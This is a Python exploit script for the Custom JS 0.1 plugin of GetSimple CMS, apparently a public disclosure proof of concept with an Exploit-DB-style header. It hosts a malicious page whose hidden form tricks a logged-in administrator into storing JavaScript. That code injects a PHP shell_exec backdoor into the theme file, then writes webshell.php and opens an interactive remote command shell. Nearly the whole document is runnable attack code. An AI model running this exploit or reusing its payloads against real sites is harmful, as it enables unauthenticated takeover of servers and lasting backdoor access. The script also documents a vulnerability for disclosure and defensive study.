1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 |
# Exploit Title: GetSimple CMS Custom JS 0.1 - CSRF to XSS to RCE # Exploit Author: Bobby Cooke (boku) & Abhishek Joshi # Date: 30/04/201 # Vendor Homepage: http://get-simple.info # Software Link: http://get-simple.info/download/ & http://get-simple.info/extend/plugin/custom-js/1267/ # Vendor: 4Enzo # Version: v0.1 # Tested against Server Host: Windows 10 Pro + XAMPP # Tested against Client Browsers: Firefox (Linux & Windows) & Internet Explorer # Vulnerability Description: #The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website. # Full Disclosure & MITRE CVE Tracking: github.com/boku7/gsCMS-CustomJS-Csrf2Xss2Rce # CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H # CVSS Base Score: 9.6 import argparse,requests from http.server import BaseHTTPRequestHandler, HTTPServer from colorama import (Fore as F, Back as B, Style as S) from threading import Thread from time import sleep FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT def bullet(char,color): C=FB if color == 'B' else FR if color == 'R' else FG return SB+C+'['+ST+SB+char+SB+C+']'+ST+' ' info,err,ok = bullet('-','B'),bullet('-','R'),bullet('!','G') class theTHREADER(object): def __init__(self, interval=1): self.interval = interval thread = Thread(target=self.run, args=()) thread.daemon = True thread.start() def run(self): run() def webshell(target): try: websh = "{}/webshell.php".format(target,page) term = "{}{}PWNSHELL{} > {}".format(SB,FR,FB,ST) welcome = '{}{}]{}+++{}[{}========>{} HelloFriend {}<========{}]{}+++{}[{}'.format(SB,FY,FR,FY,FT,FR,FT,FY,FR,FY,ST) print(welcome) while True: specialmove = input(term) command = {'FierceGodKick': specialmove} r = requests.post(websh, data=command, verify=False) status = r.status_code if status != 200: r.raise_for_status() response = r.text print(response) except: pass def xhrRcePayload(): payload= 'var e=function(i){return encodeURIComponent(i);};' payload += 'var gt = decodeURIComponent("%3c");' payload += 'var lt = decodeURIComponent("%3e");' payload += 'var h="application/x-www-form-urlencoded";' payload += 'var u="/admin/theme-edit.php";' payload += 'var xhr1=new XMLHttpRequest();' payload += 'var xhr2=new XMLHttpRequest();' payload += 'xhr1.onreadystatechange=function(){' payload += 'if(xhr1.readyState==4 && xhr1.status==200){' payload += 'r=this.responseXML;' payload += 'nVal=r.querySelector("#nonce").value;' payload += 'eVal=r.forms[1][2].defaultValue;' payload += 'xhr2.open("POST",u,true);' payload += 'xhr2.setRequestHeader("Content-Type",h);' payload += 'payload=e(gt+"?php echo shell_exec($_REQUEST[solarflare]) ?"+lt);' payload += 'params="nonce="+nVal+"&content="+payload+"&edited_file="+eVal+"&submitsave=Save+Changes";' payload += 'xhr2.send(params);' payload += '}};' payload += 'xhr1.open("GET",u,true);' payload += 'xhr1.responseType="document";' payload += 'xhr1.send();' return payload def csrfPayload(): payload= '<html><body>' payload += '<form action="'+target+'/admin/load.php?id=CustomJSPlugin" method="POST">' payload += '<input type="hidden" name="customjs_url_content" value="">' payload += '<input type="hidden" name="customjs_js_content" value="'+xhrRcePayload()+'">' payload += '<input type="hidden" name="submit" value="Save Settings">' payload += '<input type="submit" value="Submit request">' payload += '</form></body></html>' return payload class S(BaseHTTPRequestHandler): def do_GET(self): victim = self.client_address victim = "{}:{}".format(victim[0],victim[1]) print("{}{} connected to Malicious CSRF Site!".format(ok,victim)) print('{}Waiting for admin to view a CMS webpage & trigger the XSS XHR -> RCE payload..'.format(info)) self.wfile.write("{}".format(csrfPayload()).encode('utf-8')) def run(server_class=HTTPServer, handler_class=S, port=80): server_address = ('', port) httpd = server_class(server_address, handler_class) print('{}Hosting CSRF attack & listening for admin to connect..'.format(info)) try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() print('Stopping httpd...') def tryUploadWebshell(target,page): try: blind = target+page # The ^ symbols are required to escape the <> symbols to create the non-blind webshell (^ is an escape for window cmd prompt) webshUpload= {'solarflare': "echo ^<?php echo shell_exec($_REQUEST['FierceGodKick']) ?^>>webshell.php"} requests.post(url=blind, data=webshUpload, verify=False) except: pass def checkWebshell(target): try: websh = "{}/webshell.php".format(target) capsule = {'FierceGodKick':'pwnt?'} resp = requests.post(url=websh, data=capsule, verify=False) return resp.status_code except: pass def sig(): SIG= SB+FY+".-----.._ ,--."+FB+"___"+FY+" ___ _____ _____ _ _ _____ \n" SIG += FY+"|..>___ || .--."+FB+"/ \\"+FY+" |_|_/___| | | |_ _| \n" SIG += FY+"||.','-'"+FR+"* *"+FY+"'-. |//__ __ "+FB+" \\ O / "+FY+"| | | | \\ <code>--.| |_| | | |\n" SIG += FY+"|</ "+FR+"***"+FY+" \ / \\/ \\ "+FB+"/ _ \\/\\ "+FY+"| | | | |</code>--. \\_| | |\n" SIG += FY+"||> )"+FR+" * *"+FY+" /\\\\"+FB+" ( (_>< "+FY+"/\\__/ | \\_/ /\\__/ / | | |_| |_ \n" SIG += FY+"|____..- '-.._..-'_|\\___|._..\\___\\ "+FB+"\\___/\\/"+FY+" \\____/ \\___/\\____/\\_| |_/\\___/\n" SIG += FY+"__"+FR+"linkedin.com/in/bobby-cooke/"+FY+"_____ "+" __"+FR+"linkedin.com/in/reverse-shell/"+FY+"\n"+ST return SIG def argsetup(): about= SB+FB+'The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.\n'+ST about += SB+FC+'CVSS Base Score'+FT+':'+FR+' 9.6'+FT+'|'+FC+'CVSS v3.1 Vector'+FT+':'+FR+' AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'+FC parser = argparse.ArgumentParser(description=about, formatter_class=argparse.RawTextHelpFormatter) desc1= ST+FC+'Routable domain name of the target GetSimple CMS instance'+SB parser.add_argument('Target',type=str,help=desc1) desc2= ST+FC+'Path to the public page which implements the CMS theme'+ST parser.add_argument('PublicPage',type=str,help=desc2) args = parser.parse_args() return args if __name__ == '__main__': header= SB+FR+' GetSimple CMS - Custom JS Plugin Exploit\n' header += SB+FB+'CSRF '+FT+'->'+FB+' Stored XSS '+FT+'->'+FB+' XHR PHP Code Injection '+FT+'->'+FB+' RCE\n'+ST header += SB+FT+' '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke & Abhishek Joshi\n'+ST print(header) args= argsetup() target= args.Target page= args.PublicPage print(sig()) theTHREADER() pwnt = checkWebshell(target) if pwnt != 200: while pwnt != 200: sleep(3) tryUploadWebshell(target,page) sleep(2) pwnt = checkWebshell(target) print("{} A wild webshell appears!".format(ok)) webshell(target) |